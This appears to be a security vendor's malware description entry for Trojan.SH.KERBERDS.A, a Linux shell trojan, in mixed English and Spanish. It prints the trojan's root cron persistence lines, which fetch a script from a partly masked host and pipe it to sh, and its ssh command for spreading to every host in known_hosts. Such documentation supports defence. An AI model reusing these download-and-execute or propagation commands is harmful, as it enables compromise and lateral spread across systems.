Trojan.SH.KERBERDS.A

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Rutina de descarga

Guarda los archivos que descarga con los nombres siguientes:

• 48f14124d703c2

Otros detalles

Hace lo siguiente:

• It creates the following cron jobs for persistence:
  • Path: /var/spool/cron/crontabs/root
    Schedule: Every 10 minutes
    Command: */10 * * * * (curl -fsSL -m15 lsd.{BLOCKED}ten.org||wget -q -T15 -O- lsd.{BLOCKED}ten.org||python -c 'import urllib;print urllib.urlopen(\"http://lsd.{BLOCKED}ten.org\").read()')|sh
  • Path: /etc/crontab
    Schedule: Every 10 minutes
    Command: */10 * * * * root (curl -fsSL -m15 lsd.{BLOCKED}ten.org||wget -q -T15 -O- lsd.{BLOCKED}ten.org||python -c 'import urllib;print urllib.urlopen("http://lsd.{BLOCKED}ten.org").read()'||/usr/local/sbin/48f14124d703c2)|sh
• It removes the immutable property of the following files:
  • /etc/cron*
  • /var/spool/cron*
• It executes the following command on every host in the known_hosts file via ssh:
  • (curl -fsSL lsd.{BLOCKED}ten.org||wget -q -O- lsd.{BLOCKED}ten.org||python -c 'import urllib;print urllib.urlopen(\"http://lsd.{BLOCKED}ten.org\").read()')|sh >/dev/null 2>&1 &